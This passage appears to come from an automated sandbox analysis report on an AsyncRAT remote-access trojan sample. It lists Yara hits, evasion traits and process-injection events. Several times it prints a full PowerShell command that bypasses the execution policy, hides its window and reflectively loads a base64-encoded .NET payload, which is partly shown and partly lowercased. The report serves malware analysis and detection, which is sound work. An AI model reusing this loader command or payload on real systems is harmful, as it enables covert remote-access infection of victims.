Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Yara detected AsyncRAT

Source: Yara match	File source: 0000000F.00000002.1735219264.000001FA636A6000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.2420233433.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.2427144968.0000000003405000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.2424988500.00000000014F6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Memory allocated: 3200000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Memory allocated: 33C0000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Memory allocated: 53C0000 memory reserve \| memory write watch

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 9295
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 599
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Window / User API: threadDelayed 9862

Source: C:\Windows\System32\svchost.exe TID: 6372	Thread sleep time: -30000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5964	Thread sleep count: 9295 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5964	Thread sleep count: 599 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6248	Thread sleep time: -4611686018427385s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe TID: 2212	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe TID: 2464	Thread sleep count: 9862 > 30

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe

File Volume queried: C:\ FullSizeInformation

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process token adjusted: Debug

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe

Memory allocated: page read and write | page guard

HIPS / PFW / Operating System Protection Evasion

Bypasses PowerShell execution policy

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -NoExit -command [System.Reflection.Assembly]::Load([System.Convert]::FromBase64String('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

Injects a PE file into a foreign processes

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe base: 400000 value starts with: 4D5A

Writes to foreign memory regions

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe base: 400000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe base: 402000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe base: 412000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe base: 414000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe base: 11DA008

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -NoExit -command [System.Reflection.Assembly]::Load([System.Convert]::FromBase64String('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
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -executionpolicy bypass -noprofile -windowstyle hidden -noexit -command [system.reflection.assembly]::load([system.convert]::frombase64string('tvqqaamaaaaeaaaa//8aalgaaaaaaaaaqaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaagaaaaa4fug4atannibgbtm0hvghpcybwcm9ncmftignhbm5vdcbizsbydw4gaw4gre9tig1vzguudq0kjaaaaaaaaabqrqaaziycapzxmuwaaaaaaaaaapaaigalajaaadgaaaacaaaaaaaaaaaaaaagaaaaaabaaqaaaaagaaaaagaabaaaaaaaaaagaaaaaaaaaacaaaaaagaaxdobaaiayiuaaeaaaaaaaabaaaaaaaaaaaaqaaaaaaaaiaaaaaaaaaaaaaaqaaaaaaaaaaaaaaaaaaaaaaaaaabgaaaqaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaffyaabwaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaagaabiaaaaaaaaaaaaaaaudgv4daaaafa3aaaaiaaaadgaaaacaaaaaaaaaaaaaaaaaaagaabglnjzcmmaaaaqaaaaagaaaaacaaaaogaaaaaaaaaaaaaaaaaaqaaaqaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabiaaaaagafamqpaacykwaaaqaaabaaaazcvqaauaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaeaigxaaakkq5+aqaabc0ecgeaahdqagaaaigyaaakbxkaaapzggaacoabaaaefgeaaaqqgn4caaaekh4cgaiaaaqqgn4daaaekh4ckbsaaaoqvnmgaaagkbwaaap0awaaaoadaaaekjiohqaacgjvhgaaciqodwaocqaabg8bkaoaaabqaqaagygyaaakkb8aaaqlaqaagyoaaaabmasa5aiaaaeaabewcjjvagaafgssav4veqaaahid/huqaaaceglqeqaaaigyaaakkcaaaaooiqaacn0iaaaefg0aaaqcfiiaaap+iwaacn4jaaakfiaeaaaifimaaaouegisa28+aaaglqzzjaaacnodhzwojqaachmeaxeehzrykcuaaaotbsczaaaajtmaaaetbhegfiacaaeanigmaaakgjmafggaaaqjex8aaaqrbm8qaaaglsbzjaaacnp+bwaabal7hwaabbegbyyaaaytbnmkaaakeheghymuewcwewh+cwaabal7hgaabbehhlgscbosaw82aaaglqzzjaaacnorbreimxp+daaabal7hgaabbeibzoaaaysbnmkaaakegmrbb9qwcglaaakewkdeqqfvfgojqaachmkfhmlfgkaaaqjex4aaaqrbrejiaawaaafqg8uaaagewwrdc0gcyqaaap6fgoaaaqjex4aaaqrdamrchibbziaaaytbnmkaaakeheeipgaaabyew0deqqcwcgnaaakew4wexerdqmrdr8mwcglaaakexideq0fefgojqaachmtaxenhxrykcuaaaotfbetld0re400aaabexuderqrfryrfy5pkcgaaap+cgaabal7hgaabbemerjyerurfy5pegfvmgaabi0gcyqaaap6eq0fkfgtdrerf1gterereq4yhremkckaaaotd34kaaaecxseaaaeeqcewbepghibbziaaaytbnmkaaakegmrbb8owcglaaakexarcyweequtdbeghywrdbeqwj4ojgaachozgn4gaaaecxsfaaaeeqzvigaabi0gcyqaaap6fguaaaqjex8aaaqrbm8eaaaglqzzjaaacnp+baaabal7hwaabg8aaaagftmgcyqaaap6bcwlcxseaaaekbyaaabeiyyjeyaaaaqokgaacigraaakbywaaareaayxwaoggz8k/f//kkecaaaaaaaanaaaaiwcaadaagaagaaaabyaaaetmacawaaaaaiaabegaawaacgtaaakgo0waaabjrzzlgaacqilf34oaaaeoiuyf4wzaaaboiuzf40waaabjrycoqik0dsaaaeogaaacn4paaaekc8aaaowjdmaaaegbzaaaaoqezagaegaaaadaaaram8xaaakf2onnaaaaqowcyspbgccbxdibziaaaoodwaabhpiagcxyhdybziaaaoodwaabljsnacxwasham8xaaakf2myzayqogilhzoybb83kwifmfkqabmwawcbaaaabaaaesbxrqaakdmaaap+pwaabc0lhxdqlwaaasgyaaak0aqaaaiogaaacig0aaakkduaaaqapwaabh4/aaaeezyaaap+pwaabhi3aabwka0aaazvnwaacigoaaagciavnaaakdmaaaoooaaacn4qaaaebx4aaaogfigmaaagfig5aaakkgaaabmwawawaaaabaaaeqnvogaachfaf9yx2hfwjtqaaaekawywbzsaaaocggyoegaabhb+aswgczwaaap6kiyca4ebaaabayoaabmwbqbeaaaabqaaerannaaaaqowcwiabhysasgraaagjgcwnwohbid/fwaaajegczwaaap6ahosaaduf2rbhbfwf9ox1o00aaabkaeaacshegeoeqaabhb+aswgczwaaap6bhzzpqaacioaabmwcaawaaaabgaaeqiofqaabgogbz4aaaowfhcg/w8pabcucz8aaaowf
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -executionpolicy bypass -noprofile -windowstyle hidden -noexit -command [system.reflection.assembly]::load([system.convert]::frombase64string('tvqqaamaaaaeaaaa//8aalgaaaaaaaaaqaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaagaaaaa4fug4atannibgbtm0hvghpcybwcm9ncmftignhbm5vdcbizsbydw4gaw4gre9tig1vzguudq0kjaaaaaaaaabqrqaaziycapzxmuwaaaaaaaaaapaaigalajaaadgaaaacaaaaaaaaaaaaaaagaaaaaabaaqaaaaagaaaaagaabaaaaaaaaaagaaaaaaaaaacaaaaaagaaxdobaaiayiuaaeaaaaaaaabaaaaaaaaaaaaqaaaaaaaaiaaaaaaaaaaaaaaqaaaaaaaaaaaaaaaaaaaaaaaaaabgaaaqaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaffyaabwaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaagaabiaaaaaaaaaaaaaaaudgv4daaaafa3aaaaiaaaadgaaaacaaaaaaaaaaaaaaaaaaagaabglnjzcmmaaaaqaaaaagaaaaacaaaaogaaaaaaaaaaaaaaaaaaqaaaqaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabiaaaaagafamqpaacykwaaaqaaabaaaazcvqaauaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaeaigxaaakkq5+aqaabc0ecgeaahdqagaaaigyaaakbxkaaapzggaacoabaaaefgeaaaqqgn4caaaekh4cgaiaaaqqgn4daaaekh4ckbsaaaoqvnmgaaagkbwaaap0awaaaoadaaaekjiohqaacgjvhgaaciqodwaocqaabg8bkaoaaabqaqaagygyaaakkb8aaaqlaqaagyoaaaabmasa5aiaaaeaabewcjjvagaafgssav4veqaaahid/huqaaaceglqeqaaaigyaaakkcaaaaooiqaacn0iaaaefg0aaaqcfiiaaap+iwaacn4jaaakfiaeaaaifimaaaouegisa28+aaaglqzzjaaacnodhzwojqaachmeaxeehzrykcuaaaotbsczaaaajtmaaaetbhegfiacaaeanigmaaakgjmafggaaaqjex8aaaqrbm8qaaaglsbzjaaacnp+bwaabal7hwaabbegbyyaaaytbnmkaaakeheghymuewcwewh+cwaabal7hgaabbehhlgscbosaw82aaaglqzzjaaacnorbreimxp+daaabal7hgaabbeibzoaaaysbnmkaaakegmrbb9qwcglaaakewkdeqqfvfgojqaachmkfhmlfgkaaaqjex4aaaqrbrejiaawaaafqg8uaaagewwrdc0gcyqaaap6fgoaaaqjex4aaaqrdamrchibbziaaaytbnmkaaakeheeipgaaabyew0deqqcwcgnaaakew4wexerdqmrdr8mwcglaaakexideq0fefgojqaachmtaxenhxrykcuaaaotfbetld0re400aaabexuderqrfryrfy5pkcgaaap+cgaabal7hgaabbemerjyerurfy5pegfvmgaabi0gcyqaaap6eq0fkfgtdrerf1gterereq4yhremkckaaaotd34kaaaecxseaaaeeqcewbepghibbziaaaytbnmkaaakegmrbb8owcglaaakexarcyweequtdbeghywrdbeqwj4ojgaachozgn4gaaaecxsfaaaeeqzvigaabi0gcyqaaap6fguaaaqjex8aaaqrbm8eaaaglqzzjaaacnp+baaabal7hwaabg8aaaagftmgcyqaaap6bcwlcxseaaaekbyaaabeiyyjeyaaaaqokgaacigraaakbywaaareaayxwaoggz8k/f//kkecaaaaaaaanaaaaiwcaadaagaagaaaabyaaaetmacawaaaaaiaabegaawaacgtaaakgo0waaabjrzzlgaacqilf34oaaaeoiuyf4wzaaaboiuzf40waaabjrycoqik0dsaaaeogaaacn4paaaekc8aaaowjdmaaaegbzaaaaoqezagaegaaaadaaaram8xaaakf2onnaaaaqowcyspbgccbxdibziaaaoodwaabhpiagcxyhdybziaaaoodwaabljsnacxwasham8xaaakf2myzayqogilhzoybb83kwifmfkqabmwawcbaaaabaaaesbxrqaakdmaaap+pwaabc0lhxdqlwaaasgyaaak0aqaaaiogaaacig0aaakkduaaaqapwaabh4/aaaeezyaaap+pwaabhi3aabwka0aaazvnwaacigoaaagciavnaaakdmaaaoooaaacn4qaaaebx4aaaogfigmaaagfig5aaakkgaaabmwawawaaaabaaaeqnvogaachfaf9yx2hfwjtqaaaekawywbzsaaaocggyoegaabhb+aswgczwaaap6kiyca4ebaaabayoaabmwbqbeaaaabqaaerannaaaaqowcwiabhysasgraaagjgcwnwohbid/fwaaajegczwaaap6ahosaaduf2rbhbfwf9ox1o00aaabkaeaacshegeoeqaabhb+aswgczwaaap6bhzzpqaacioaabmwcaawaaaabgaaeqiofqaabgogbz4aaaowfhcg/w8pabcucz8aaaowf

Source: C:\Windows\System32\notepad.exe	Queries volume information: C:\Users\user\Desktop\bad.txt VolumeInformation
Source: C:\Windows\System32\notepad.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\notepad.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
